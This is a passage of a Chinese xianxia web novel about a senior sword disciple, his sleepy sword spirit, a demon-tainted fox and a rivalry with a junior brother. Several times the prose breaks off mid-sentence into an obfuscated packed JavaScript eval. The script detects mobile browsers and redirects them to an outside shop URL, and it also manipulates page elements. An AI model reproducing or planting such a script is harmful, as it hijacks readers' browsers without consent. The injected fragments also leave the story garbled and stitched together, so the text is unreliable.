巫如点头,道:“不过当时我着急着带魏先生离开,没能得等八师叔深探,说不准是不是那魔气藏得太深……” “你脖子怎么了?”童翦忆叫道。 叶於年才注意到巫如脖上有两个还在冒血的圆口,向下汇成一道血柱,染红了一片衣角。 巫如嘴上只说魏先生“乱咬”,实际上并没那么轻巧。 他养的毒物常年在他身体里到处乱钻,魏先生也不例外,大多时候是盘在他腰间或脖子上,但偶尔会钻到他嘴里歇息。故而一旦毒物出现异样,头一个遭殃的就是巫如自己。 “没事,它的毒伤不到我,而且这么小的破口,再晚些都要合上了,”巫如笑了笑,将脸上的蝎子拨到衣服下,说,“还得多谢大师兄提醒,不然咬在喉咙里,可就有我好受的了。” “应该的。”叶於年应道。 他不动声色地敲了下椿岁剑身,回应他的先是一阵闷闷的呼噜,过后才是弱弱的一句:“嗯?” 剑灵才第二次化形,虽说已经比头一次好多了,但依旧不太稳定。忙活半天,回来的路上都不哼哼了,直呢喃着说“困”。 叶於年其实不太忍心吵着椿岁,可他又不能拖着巫如和魏先生的事不管,只能尽量温声问:“它,坏,否?” 依照剑灵对狐狸和黑羽蛇的描述,叶於年猜他口中的“坏”,其实差不多是入魔的意思。 魔气入体,会改逆全身经脉,原来的肉身会如同掉落在地的浆果般迅速腐化,用“坏”来形容也算恰当。 剑灵犯困时,没多少生气劲,懒洋洋道:“没,就吃了一口。” 叶於年得心应手地问:“咩?” “它离坏狐狸太近,把魔气吃肚子里了,好在它体内有命契,逼得它立即吐出来,只被种了一小条魔脉。不严重,不会这么轻易就坏掉的。” 黑羽蛇及货栈内其他鳞族与狐狸共处许久,也仅是到“快要坏掉”的程度,魏先生不可能只吃一小点魔气就被逼坏,魔气要能如此霸道,仙神早死绝了。 “不过嘛……唔,命契似乎同时也把它灼伤了。”椿岁低沉道。 这一长串话理解起来需要费上不少时间,在童翦忆和巫如看来,就是大师兄忽然冷冷不说话。 他们对视一眼,心道这事貌似本来就不该请教大师兄的。大师兄连灵流都看不见,怎可能救得了魏先生。 巫如刚想说他去找其他峰长老帮忙,叶於年就开口问:“你可有探过它紫府?可还正常?” “没,”巫如连忙查探,很快就有了答案,“经脉逆堵,妖丹受创。” “但这是……被命契反噬造成的。” 灵宠契加身,魏先生如若伤害巫如,哪怕不是存心之举,也必然会遭到反噬。关心则乱,巫如方才居然没想到这一重。 “严重吗?”叶於年问。 巫如摇摇头。他只是被咬了两个口而已,即便成倍反噬,也只是让魏先生妖丹裂开一个小口,若无意外,施法疗愈,静养一段时日便能痊愈。 “那就好。不过它既无故发狂,就证明它确实是受到了魔毒影响,指不定体内有魔脉残余,还得谨慎待之。” 叶於年说着,又在心中向剑灵询问:“魔,脉,可,除?” “唔……”椿岁昏昏沉沉道,“可以,但得找妖草……” 他含糊念出一串难以辨别意思的遗音,应当就是那妖草的名字。 “以其为引,然后……我要死了,椿岁要困死了……” 应当是真的困得厉害,剑灵说着说着就开始胡言乱语了起来。 “剑灵也会死吗?”叶於年下意识用今音心问。 天地为炉,造化为工,阴阳为炭,万物为铜[1],而灵则是其间永不熄灭的烈焰,是大道运行之根本,修士所依仗的诸多术法符诀,无一不是灵的显化。 因此,像剑灵这等与天地同寿,万岁长安的灵体,即使遭遇致命重创,也不过是其形体暂散,假以时日便会重新凝聚。虽未必能恢复成往昔模样,却很难真正论之为“死”。 椿岁迷瞪瞪的,居然还能听懂个大概,立即回答:“会的。” “会死的。” 答完,就又开始嘟哝起一长串碎碎念。 叶於年听不大明白具体意思,只能半蒙半猜,感觉剑灵在絮絮叨叨地描绘自己到底是怎么个困法,说感觉剑身泡在地浸[2]里被腐蚀,煎熬得不行,又感觉有一把很坏很坏的刀,梆梆在他剑身上敲个不停,把他给敲晕乎了……并在这里头掺杂几句安抚。 椿岁说:“魔脉潜入得不深,断了源就长不大了,而且这蛇还有命契在身体里帮忙限制……先放着没关系的。” 反而眼下若是贸然处置,容易一个不小心,魔脉没能拔出,把其他的经脉给祸害了,还不如暂且放着,从长计议。 叶於年依言向巫如嘱托道:“你先替魏先生疗伤,将它安顿好,再寻魔毒解法。不会有事的,别太担心。” “嗯,”巫如点了点头。 他不像童翦忆那么好忽悠,这会儿慌张劲消了下来,疑惑就即刻补上,他问:“说来,为何大师兄一口咬定那妖是魔?又是怎么知道魔毒一事的?” 叶於年还没开口,另一满是挑衅意味的嗓音就闯了进来。 “还能怎么知道的?要我说,这一遭又是叶於年他在故意寻机会害人!” 叶於年循着声望过去,说意外倒也没多意外,说话的是他二师弟。 除夕夜了,二师弟居然还未归家。叶於年心下奇怪。 虽说长鸣剑山的剑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“而且到底是一开始也不知道,还是一开始就知道,这说不准吧。就叶於年你这废物,哪来本事盘问蛇妖?你说这话能有谁信?”二师弟不屑道。 “师尊将阳秋收入门下,不就是铁了心要将你这废物踢出八荒剑阵的行列。你肯定很不甘吧,所以才想出损招来害七师弟,好让自己能得机会补位。” 「八荒剑阵」乃长鸣剑山的一道至高护阵,需八人合力布阵。历来由掌门座下的亲传弟子学习传承,经年下来,已然成了一道重要的身份象征。 童翦忆听不下去,劝道:“不至于吧……还是大师兄让我传音给小如,让小如能……” “怎么不至于!不多使点手段,他凭什么和其他同门争?难不成凭他手里这把刃都开不了的破铜烂铁吗?” “百里燹生!” 叶於年总算正眼看了过去,目色冰冷,话音也带着明显的寒意。 12. 第十二眼 废物 “我叫百里昶!”二师弟气愤道。 叶於年平平淡淡:“哦。” 除此以外没更多反应了,仿佛这是再无关紧要不过的小事罢了。 百里昶气得直冒火,怒道:“你这是什么态度?你以为你是个什么东西?” “你就是个为达目的不择手段的无耻废物!以前是,现在也是,要不是你尽使些腌臜手段,像你这样的废物,当年能踩在我头上当这大师兄吗?” “长鸣剑山有你这样的废物大师兄简直丢尽了脸!” 太吵了,沉寂好一阵的椿岁又有了声响,迷迷糊糊地在识海问:“‘废物’咩?” 这词一连出现太多,他想不注意都难。 “弱,而,无,用,之,物。”叶於年解释道。 哦……椿岁明白了,过了一会儿,他忽然尖声:“你?” 然后声音又拔高了一重,完全不掩饰其中的难以置信:“我?” “他。”叶於年没丝毫犹豫。 “先前说你在犬吠,是我说错了。”叶於年忽而开口,若有所思道。 百里昶一扯嘴角:“怎么?现在才想起来要示……” 叶於年不带停顿地继续道:“犬吠可比你说话有章法多了。” 百里昶目眦欲裂:“你!” 叶於年抬着眼,好似面前不过一具死物,完全不受影响地平静道:“二师弟,你入门已有八年,脑袋怎会完全不见长?怎还总像个脾性幼稚的……” 他忽然想起师尊对百里昶那句“小孩心性”的形容,嘲弄道:“黄口小儿。” 叶於年说话时语调没任何起伏,语速飞快:“真不知修道修哪去了,成日只知花心思嚼舌根,乱攀咬。百里家的大院才是你施展拳脚的好地方,而不是在这污满山的清风朗月。” “还是说在你心里,长鸣剑山就是百里家给你掏钱搭的戏台?” “叶於年!你休要胡说!”百里昶怒吼。 “究竟是谁在胡说,你心里没数吗?”叶於年反唇相讥。 与此同时,剑灵也在识海内跟着重复了一句他的话尾:“心里没数。” 也不知是不是因为困得厉害,所以把语气都给省了,硬是把叶於年的反问,变成了一句陈述。 叶於年听此,忽然觉着心下阴霾一扫。他抱着手,身子往左一挨,胳膊抵在门柱上,平和道:“是了,你没数,不然也不会不分场合就开始唱独角戏。” 正事不帮,就知道妨碍事。 “可你不会觉得尴尬吗?你那些毫无根据可言的话说出来,除了把你满脑汪洋大海,满嘴污池秽水,全都抖落出来,徒让人看笑话外,还有别的意义吗?” “还是说……哦,我指知道了。你在这闹其实是想引起我注意,让我夸你,”叶於年恍然大悟,敷衍地拍了两下手,道,“好孩子,这都让你发现我的阴谋了,你真厉害。” “可我不想夸你,你不要太当自己是一回事了。” 此刻,百里昶的脸色已经不能单用“难看”来形容的。 在童翦忆的印象里,大师兄这人其实怪“懒”的,总是懒得去思考和应付他认为不重要的人或事,常常淡定得仿若目中无人,把所有的经历和思绪,都倾注在日复一日的修行中。 所以大多时候,大师兄都会因觉麻烦且无意义,而不选择回应二师兄的挑衅。 但这并不代表他是个能任人搓揉摁扁的软柿子,相反,大师兄一点都不好惹,完全是个硬茬,尤其是触碰到他逆鳞时。 而他的逆鳞,正是他的剑。 大师兄爱惜他的椿岁剑,基本到了从不离身的程度,甚至童翦忆曾撞见他去山泉沐浴时,都舍不得把剑放下。如此一人,怎可能忍受别人当着他面,说椿岁是破铜烂铁呢? “辈分从来仅是以入门先后来论,但你非觉得我早你几日入门,就是踩在你头上了。” “那如你所愿。” 叶於年站直身,抬了抬下巴。他身量比百里昶高上些许,人虽精瘦,但气势分毫不带差,可以居高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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好吧,不仅是他剑主,其他三人也一下怂了吧唧地把剑放下,收到身后,仿佛来的是什么洪水猛兽。 13. 第十三眼 败花 巫如最先开口,尝试将自己和童翦忆一并摘出去,朝那男子解释道:“我们是见二师兄意欲伤人,才拔剑的,没想犯戒。” 长鸣剑山有道不成文的律令,名叫「败花令」。 因怕刀剑无眼,小崽子们会不小心伤到花草,伤到自己,甚至伤到别人,所以凡长鸣剑山弟子,在山门内,轻易都不可动用真剑,平日修习只能用不开刃的木剑。 而之所以会叫‘败花’,这里头涉及一场特别屈辱且凄惨的宗门秘事。 最开始,是有一人,闲时痛斥小崽子们练剑时把他辛苦栽种培育、打算送予他人的名贵花株给劈得稀巴烂,说他觉得这些剑修正事还没干出来几件,就先学会搞破坏了。 他的话顿时引起整座长鸣剑山花匠田农的共鸣,他们商量了一转,决定向当时的掌门,也就是叶於年的师祖,谢平生抗议,要求长鸣剑山弟子不得因练剑而划伤山内的花草。 面对此番谴责,众多弟子据理力争,两方吵得面红耳赤,最后上演了一出“暴躁花匠持锄头痛扁长鸣剑山高徒”的传世桥段。 从那以后,那句“深山藏剑宗”已成绝唱,长鸣剑山最响亮的口号是“栽花成斗佛”。 综上所述,“败花令”这一称呼,就是最直接明了的字面意思:败给花匠所以才有的禁令。 而这一怎么说怎么丢脸的禁令,之所以能持续到了今日依旧未能撼动,是因那暴揍众多剑修的花匠后继有人。 那人正是眼前的男子,屈佑。 光是听名字就知他与八师叔屈佐关系匪浅。但实际上,没人知道他们的具体关系,只知他曾追着八师叔从大殿一路打到山门,把许多人震慑得压根不敢胡乱惹他。 “我没瞎。”屈佑白了一眼,转瞬就出现在百里昶身后,并在其肩上看似轻巧地一拍,燹生“哐当”落地。 “连剑都拿不稳,还好意思一口一个‘废物’地喊别人,”屈佑弯身在百里昶耳边一笑,“谁才是废物?” 百里昶登时脸色发黑。可他这人说好听点,是懂得顾全颜面;说难听点,就是人前一套,背地里另一套。长辈在时,他总会变得听话守礼,连嘴都不带顶的。 “是我出言不逊,触犯禁令,我晚些便自行去向师尊领罚。”百里昶躬身道。 “用不着晚些,正好大伙都告假回去了,明儿清早你来帮我提桶淋肥,”屈佑抱着手,轻飘飘道,“我的灵植娇贵,不能受其他灵力影响,用不了术法,正好要人来搭把手。” 不能用术法……百里昶十指不沾阳春水,却也知道,屈佑口中的“肥”是秽物。 他脸色由黑转白,抗拒道:“明日恐怕不行,我得回……百里家。” 他最后三个字咬得很重,试图提醒屈佑,他是何身份。 屈佑睨了百里昶一眼,说:“既如此,那按规矩,你这剑由我交给你师尊,让他代为保管至天下会。” 「天下会」是太平二年初为重振修界而设立的十年一度的盛事,旨在让符合条件的年轻修士们能有机会一展身手。 最近一次天下会,正好临近长鸣剑山三年一度的试剑大会,各派早就商量好说要并到一块在长鸣剑山举行。 虽说距今尚有两年之久,可百里昶深知步作人性格随和,借着事由向他讨要回本命剑并不难。更别说他手里的剑本就不止燹生一柄,因此未作过多权衡,他就答应了下来。 屈佑当即一踢燹生剑柄,将其往上挑入手心,感觉剑身挣扎似的“嗡”了一声,他嘀咕道:“倒是把好剑……” 可惜了。屈佑暗叹道,同时视线落向叶於年。 叶於年见到屈佑会心虚,是因前几日他所犯的禁令,正好也是败花令。 叶於年早些年因为一直没有本命剑,所以那令对他来说,完全是形同虚设。后来就不一样了,他好不容易有了椿岁,还要日复一日,年复一年地只能摸到木剑,怎可能不难受。 于是身为大师兄的他,自然而然地顶风作案了起来,一年下来,只要附近没人,叶於年练剑时用的其实都是椿岁。 而事实上,像他这样违背“败花令”的人在长鸣剑山也不是少数。只要不过分,不被屈佑亲自抓包,就算是师长们看见了,也大都是睁一只眼闭一只眼。 然而就在椿岁睁眼出现那一天,早起时没有将自己发冠给扎牢实的叶於年,一个不小心用椿岁把半数的长发给劈了下来,成就了前几日他那难以言喻的发型。 说来也倒霉,叶於年劈完没多久,就被屈佑给捉了个正着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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入门不过一年多,那日试剑大会刚结束,他成为长鸣剑山有史以来第一个,踏入剑墟却无一剑为他而鸣的庸才。 14.第十四眼 同睡 之后又过了一年,屈佑隔三岔五就能看见叶於年坐在球兰边上,拿着不同的书在背,或者是对照着典籍上的图示,不着门道地进行模仿。 不知出于什么心理,屈佑把那株给移栽到了盆里,再次见到叶於年时,主动问了句,要不要来和他学锻体? 锻体属于武道的一种,是对肉身的重塑、锤炼,无须调度灵力,不讲求资质,就是练起来免不了要吃数不清的苦头,苦得哪怕是屈佑当年也会时不时就起些放弃的念头。 可叶於年发起狠来,却能没日没夜地去学去练,哪怕全身都疼得快要动不了了,也还是要屈佑强行给他喊停才行,抱怨对他来说更是没影的事。 谁会不想收一个刻苦到只能用“拼命”来形容的小徒弟呢,还又乖巧又懂事的,反正屈佑怪想的。 为此,屈佑晓之以理,动之以情,试图说服叶於年别学那破剑,改来跟他习武。 结果这家伙就是头不折不扣的倔驴,就是喜欢剑喜欢得不行,明明已经在南墙上撞得头破血流了,还是不肯改道。 不骄不躁,无怨无悔。 痴人呀。 从未有过收徒念头的屈佑,第一次挑战撬走别人的徒弟,就迎来了大大的失败。 可屈佑没办法真生叶於年的气,不如说,越是如此,他就越是希望叶於年能好,他见不得天负有心人。 当然,不论他心里怎么想,嘴上还是会有事没事就埋汰几句的。 “你先前的罚还没领完,别想着年节就能偷懒……”屈佑悄悄给叶於年治着伤,嘴上始终带着点扭捏的嫌弃。 末了才小声在叶於年耳边道:“还是那句,花开了,就送你份大礼。” 屈佑拿在手里的花,正是此前移栽的那一株球兰。 每年开春,他都会拿给叶於年养,等入了冬,就一脸嫌弃地将维持原状的盆给收回去。 明明是很好养活的凡间花种,可叶於年六年来,都不曾将其养开过,也一直不知屈佑口中的大礼是什么。 屈佑刚把花塞叶於年手里,巫如身边显现出传音符的灵流,八师叔的声音在此间响起:“让於年和翦忆到大殿来。” 于是叶於年就一手抱着椿岁,一手抱着花盆,来到了大殿。 路上,童翦忆三番五次偷看叶於年,终究还是没忍住,开口问:“大师兄,你还记得我叫啥名字吗?” 叶於年不明所以地点头:“童……” 童翦忆手握拳头,嘴巴咧开比出口型,满含鼓励地看着自家大师兄。 “翦忆。”叶於年道。 赢了!童翦忆心满意足地挂出了笑意,然后刚好一进门,抬头就和八师叔对上了视线。他立马塌了嘴角,端正出一副严肃的神色,把收在芥子里的妖物和酒一并取出。 八师叔瞄了几眼,就让童翦忆回去了,独留叶於年交代事情的始末。 八师叔的视线定在叶於年手上的花盆,直到他说完,才点点头,抬手将狐狸悬至半空。 童翦忆下手没有轻重,现在狐狸还处于昏迷不醒的状态。 八师叔道:“我仔细探过,其魂乃是一种名叫‘月狐’的狐妖。月狐无法化人形,其毛色却是世间至美的存在,且生来就拥有妖类中并世无两的控灵天赋。” “可惜,几乎所有的月狐长至成年后,都难以避免地会堕为魔躯。” 叶於年:“几乎都?” “是,月狐一族可以说是天生魔种,但你们带回来的这只很特殊,它应是经过生灵献祭,被强行炼成魔的,或者更准确说,是被炼成魔毒,从此与炼就它所献祭的灵类产生独特的呼应,一旦吸入它呼出的气,该灵类就极其容易被扭曲灵脉,进而入魔。” 八师叔蹙眉道:“也正因其特殊,若非仔细剖析其脉,很难察觉其魔魂的存在。” 连八师叔都觉得难察觉,椿岁居然一下就看出了。叶於年想着,指腹搓了搓剑身。 “但最奇怪的是……此等魔毒,炼法极其复杂,需以至纯的魔血为引,自魔陨后就不该再有魔能炼出来。”八师叔若有所思道。 对叶於年而言,神魔一战已是百年前的旧事,他只从课堂和史集中得知,此战最终以神明诛灭万邪、众魔陨落、重掌人间告终。 当然所谓「魔陨」并非真指魔就此绝迹于世,魔本就是生灵恶念所化,是诛杀不清的。魔陨所陨的,是以魔尊为首的一众大魔。它们陨落后,便是太平世,连寻常魔物都变得罕见起来,即使偶尔现身,也难掀起大风浪。 可如今就在他们长鸣剑山山脚下,居然出现了唯有大魔能炼出的魔毒……叶於年眸色一凛,主动开口道:“兹事体大,弟子自会守口如瓶。” 八师叔满意地点点头,而后检查了一番童翦忆带回的酒。术业有专攻,八师叔并不通晓太多炼药制酒的门道,只觉浸泡鳞族的酒上有怪异的香气,说还得过后请丹师详看才能下定论。 又听叶於年提及魏先生的情况,给出了与椿岁相近的结论:短时结下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565123|186934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的魔脉暂留无碍,反倒贸然拔除,可能会损伤其他经脉。 “无须太过忧心,若无其他要事,先回去歇息吧。”八师叔道。 叶於年刚要应声往外走,八师叔又喊住了他,欲言又止。叶於年等了片刻,等来的却是一句:“算了无事。” 从大殿出来时,已将近卯时。 修士引灵入体寻常得就如呼吸,长此以往纵使长时间不饮不食、不眠不休,也不会如何。 可叶於年不行。 就着深浓夜色,紧绷的心神骤然松懈,疲态就很难再掩盖下去,彻夜操劳的脑袋愈发昏沉,耳边嗡嗡作响,他没忍住眨了好几下干涩的双眼,默默吞吐起呼吸。 忽然,他听见剑灵迷瞪瞪地问:“累?” 叶於年一愣:“嗯。” 到大殿后,椿岁就彻底没了声。叶於年还以为他这回是真睡过去了,没想到还醒着。 在陪着他。 “快睡。”剑灵理直气壮说完,就听见剑主低声笑了一下。 叶於年脸上总没多少表情,让人感觉他冷冷淡淡的。椿岁还没见过他笑呢,连忙睁眼,可惜待看清时,他的嘴角又恢复回了往常那平直的状态。 椿岁“哼”了声又闭上眼。 叶於年还以为剑灵是在气他没回答还乱笑,抚了抚剑身,问:“回‘家’可,否,抱,你,睡?” 自从将椿岁带出剑墟,叶於年就几乎没让其离过身,干什么都抱着。可他当时并不知椿岁剑体有灵,如今既然能说话交流,怎么也得尊重下剑灵自个的意愿。 结果剑灵反过来疑惑上了:“有什么不可以的?” 椿岁只不过是能变成人而已,本质上还是把剑,压根不懂凡人的弯弯绕绕。 他想不明白,现在剑主抱着他,他也没反对呀,为什么会觉得换成回到所谓的“家”里睡觉就不行了。 叶於年:“好。” 过了一会儿,椿岁猛一激灵,问:“到第二天没?” 都已经卯时了。 叶於年:“到了。” “好,”得到了应允,椿岁精神了几分,郑重地模仿着今音,温声说道,“新年吉祥,万事顺心。” 永古上镇街边有个凡人老太太反复教她三岁的孙女说这话,椿岁经过时,听一遍就学会了,又听剑主说这都是些好话,过年当日就得这么与人说。于是他哪怕不懂具体意思,也还是惦记着要照葫芦画瓢。 “恭喜发财,红包拿来!” 15.第十五眼 不对 和先前一样,剑灵一觉能睡上将近两天,醒来时,已是初三清早,还觉得自己不过是小眯了一会儿。 又和先前不太一样,椿岁睁眼时,叶於年没搂着他,而是怪可怜样地把自己缩成一小团,躲在角落里,留出一大片空地。 椿岁看着莫名不太高兴,想将叶於年的姿势摆得舒服自在些。 然后悲伤地发现自己摆不动。 椿岁看了眼掌心,心想,单靠时间去稳固灵体太慢了,得想办法淬体。 他放弃摆弄剑主,跳到地上,学着坐到“书案”前,翻起剑主编写的册子。 摸着比先前又厚了些,且都是一板一眼的读音对照,椿岁越看越没劲,看了大半册就开始百无聊赖地到处转眼珠子,最后视线落在前边摆着的花上。 叶於年一睁眼就看见自家剑灵在用手指戳球兰玩,水色的双眸对比起一颗颗玉色的花苞还要来得剔透,内含着藏不住的好奇。 放任着剑灵玩了好一阵,直到看见剑灵开始毛手毛脚地要去掏花盆里的土,叶於年才逼不得已地出声制止:“别。” 没来得及,椿岁手指已经插进土里了,无辜地望向剑主:“咩?” 叶於年虽从未给花养开过,但也同样没养死过,要让椿岁拔了,他可免不了被屈佑抓着小辫子一通训斥。 叶於年起身整了下衣襟,素白的睡袍搭在他略深的肤色上,显得尤为惹眼。 椿岁盯着那胸口出神看了一阵,反应过来时,叶於年已经不知从哪抽出一块布,来给他擦手。 他乖乖任由剑主施为,心血来潮想展示下自己方才的学习成果,于是指着被他戳出洞的花土,用今音问:“不,是,要,花开,吗?” 虽然听得不清不楚,但他隐约记得有人要剑主把花养开。 “花,在,这,不会,开。” 说完,椿岁扬了扬下巴,觉得自己话说得特别厉害,想等一个夸。 然而叶於年只抬眼问:“为何?” 椿岁眯起眼,不死心地继续用今音:“凡,花,不,入,仙,土。” 球兰是再普通不过的凡间花种,将其栽种到灵土里,可以滋养根系,久生数年不败,可作为代价,它开不了花。 人也是如此,一身凡骨硬待在仙门,是能得一时安乐,却求不来任何结果。 叶於年嘀咕着用今音问:“那要怎么才能开花?” 椿岁不回答,冷不丁地一偏头:“哼。” 又怎么了啊? 叶於年一头雾水,瞧向那被戳出一个手指洞的灵土,顿时明悟过来:“是要移回凡土方能开,对吗?” 椿岁:“哼哼。” 看来是了。叶於年睫毛微垂,倏忽又想起师尊说过的那句: 执着无用。 他呢喃道:“如果不甘心回凡土呢?” 声音听着略微低沉,椿岁抬了抬眼皮。 剑主脸上依旧没多少表情,可他就是觉得剑主他好像有点……委屈? 说不准,反正不大高兴。 这怎么能行? 可椿岁正气头上,不想和颜悦色地去给叶於年答疑解惑,于是将手抽出,扬着声,换回自己熟悉的话,故作骄纵道:“那就给花接灵脉呗,又不难,就是麻烦。” 叶於年低低地道了声“好”,就又没声了,看上去并没有高兴起来。 椿岁不满地眯了眯眼,上前用掌心覆在叶於年的手背上,带着他探向球兰的根系。 “它太弱了。” 椿岁站在后边,仗着身量,可以看见他与剑主的胳膊交叠在一块,莫名让他想起初见时,剑主手覆在他胸口的场景。 剑主的手不算大,却足够修长,骨节分明,青筋盘错在其上,让他不由自主地食指微曲,顺着其脉络刮了一下。 叶於年下意识一缩手,椿岁连忙将其再度擒住,甚至变本加厉地硬将叶於年其他手指往下按,好将其食指和环指圈禁在他这两指间。 “不可能一下接上灵脉,需用写你那‘符令’上的鸧[1]羽,先每天给它画这个,看情况对,才能往下考虑。”椿岁附在叶於年耳边轻声说。 鸧乃九尾灵鸟,其尾羽能汇聚四散的灵流,被美称为「凤凰羽」,小通符令之所以能自承灵力,正是因为是用此羽书写的。 椿岁下巴抵在叶於年的肩上,领着画了两遍自创的醒灵咒。 从这一角度,他观察不到叶於年此刻的表情,只感觉叶於年全身紧绷着。 “记下了。”等最后一笔落下,叶於年匆匆说了句,走开了几步,依旧没有要夸剑的表现。 椿岁嘴角一耷拉,背过身,此时此刻彻底不想理叶於年了! 然后下时下刻,支着耳朵的他听见后边传来细碎的声响,又忍不住转了回去,就见叶於年将红纸举到他面前。 “你,要的‘红包’。”叶於年说。 椿岁压根没想起来自己要过,但还是接了,发现里面包着块方方正正的东西,平淡道:“金。” “与银同,可,为‘钱’。”叶於年给他解释。 “‘买’咩?”椿岁问。 他自觉身上没有可以拿来卖的。别说那净玉了,他整把剑都是叶於年的。 “不是‘买’,”叶於年解释道,“是祝,福。” 剑灵皱起眉,在他的理解里,“祝福”是一种他者沟通神明以得灵护的仪式,完全不干金银的事。 叶於年想了想,又折中道:“也可,当是‘买’你,欢喜。” 剑主好像很喜欢买这种摸不着边的东西。 椿岁摩挲着手里被压成长条的金子,想原来金银在剑主心里是可以买到欢喜的。他是不介意做这买卖啦,可是:“我要这没用。” 上边又没有灵,也没能招他喜欢的纹样,还是说他可以倒回来用这买剑主的欢喜?不对吧,你手换我手的,有什么好欢喜?怪怪的。 “有用,”叶於年说,“可‘买’他玉。” 叶於年向来对奇珍也无甚兴致,身上那块净玉也是偶然所得,从未换下来过。 净玉玉种上乘,椿岁以此借灵得来的一身清雅其实也好看,但叶於年觉得,他的剑灵合该华服盛装,光华流转。 椿岁听见他的话,果然立即起了兴趣:“不‘过年’啦?” 叶於年摇摇头,说:“不去‘铺子’,去‘赛宝会’。” “咩?” 叶於年卖关子:“去了,就知。” 我还没答应要去呢。椿岁神情矜持,但话却不是那么一回事:“能‘买’几个?” 叶於年手举到脸边,张开又合上三根手指,回答说:“五、六。” 金砖五十两,按现在行情折算,相当于将近有七百两银子,想买点玉饰绰绰有余。甚至说哪怕剑灵挑中价高的,金砖不够付,只要不过分,他勉强也能补上。 叶於年一向简素,没太多欲求,八年下来,还是小有一笔积蓄的。 依典籍所言,能生出剑灵的剑,少说也得历经千百年磨砺。剑未能真正化形前,剑身就已随不同剑主在凡间游历,借剑主双眼看尽百态。因此,大多剑灵化形后,言谈举止基本和正常人别无二致,也多少懂得为人处世的规矩和道理。 可椿岁不一样,明晰自然,通晓灵术,对人间万物的了解却稚嫩如婴孩,脾性也跟小孩子似的,咿咿呀呀的,只会说现今没几个人能听得懂的遗音。所以椿岁应当是自生灵智起,就具备了化形的能力。 叶於年极有可能是椿岁的第一任人主。 应当珍重待之,爱之护之。 并以此延展出一个颇有觉悟的念头:哪怕苦了自己,也不能苦了剑。 椿岁默不作声地听着话,心思转了好几个弯,最后又不死心地落回到最初,放弃了惺惺作态,指向那本神书册子,高声用今音说:“我,会,了。” 叶於年点头道:“好厉害。” 一点都不诚心! 椿岁脸色一垮,凶巴巴地转身就要往屋外走去,然后就被叶於年拉住了手腕:“化,剑。” ……哦,想起来了,他见不得人。 椿岁更生气了。 叶於年的顾虑是有道理的,去山门的路上,他们与正瞎溜达的六师弟远远碰了面。 童翦忆本没多在意,可在发现他们错身而过时,大师兄抱着剑,脑袋一点不带偏后,他立即两个大退步,堵着路,质问:“你是不是又在装看不见我?” 叶於年欣慰点头:“你知道就好。” 童翦忆被气得心里指骂咧,结果叶於年前脚刚走,后脚又有人撞上他的背,用手压住他两边肩膀,开口就是:“小剪刀,大师兄这是要上哪?” 来人是他的三师姐。 童翦忆费劲地挣开,埋怨说:“你怎么就这么关心他?” “大师兄人好啊。” “哪好了?”童翦忆和另一道女声重叠到了一块。 童翦忆往后一看,他八师妹慢着步子也往这边来。 八师妹向来嘴上不饶人,继续道:“大师兄一天天的都只会瞎猫子乱比划。” 童翦忆正气头上,闻言满是赞许地点头。 “除了这点哪都好呀,你俩看人不能只看一面。” “我就问一个问题,”三师姐故作高深道,“在绝对安全的环境下,你是愿意看二师兄舞剑,还是看大师兄瞎比划?” 二人即刻回答:“大师兄。” 答完,八师妹别开眼,陷入深思。 童翦忆也仿佛参悟到了什么,神色僵硬。 三师姐开朗道:“所以说……” 八师妹立即用手指夹住三师姐的嘴唇,将其夹成鸭子状,打断道:“好了,不要再说了。你个花痴。” “这不是我花不花痴的问题,是我有哪里说错了吗?”三师姐高声质问。 众多同门中,长相最为英俊的,当属他们大师兄。哪怕把长发给裁了,也只显得干净利落,极具野性,平日一身劲装,养眼得很,说书的见了他能顺口编出赞颂豪侠的歌谣来。 八师妹绝望合眼,嘀咕道:“我怎会是如此肤浅之人?” “正常,”三师姐咧出笑,一本正经地说歪理,“大师兄和我说过,人天生五感,就是偏好摸好摸的,吃好吃的,闻好闻的,听好听的,看好看的。遵从本心,才得道法自然。” 三师姐转向童翦忆,把话题摆正:“所以大师兄上哪去?” “我怎知,”童翦忆阴声怪气道,“指不定又是下山找他那相好去了。” “相好?”八师妹率先发出疑惑,“那么多人来向大师兄示过好,大师兄都无动于衷,只知道练剑,他哪来的相好?” “今时不同往日,铁树已然开花,”三师姐追问道,“是上次那人吧?” 童翦忆抱起手:“不然还有哪个?除夕那晚,我可是亲眼见着那人了,大师兄不仅没否认他是自己的相好,还和他在屋里头……” 三师姐心呼吸加促:“做什么?” “相吻!”童翦忆大声造谣。 三师姐贴心地捂住八师妹双耳,义正辞严地问:“具体怎么个吻法?” 童翦忆煞有介事道:“就他相好捧着他脸俯下身吻呗。我去的时候他俩还难舍难分的。” 三师姐深吸一口气。 八师妹一脸困惑:“这事怎可能发生在大师兄身上!” “怎么不可能!”童翦忆神色倏忽凝重起来,“不仅如此,大师兄还仗着他相好不会说官话,净教人说些不堪入耳的污言秽语!” 八师妹再次提出质疑:“大师兄自个都不说污言秽语,更谈何教别人?” 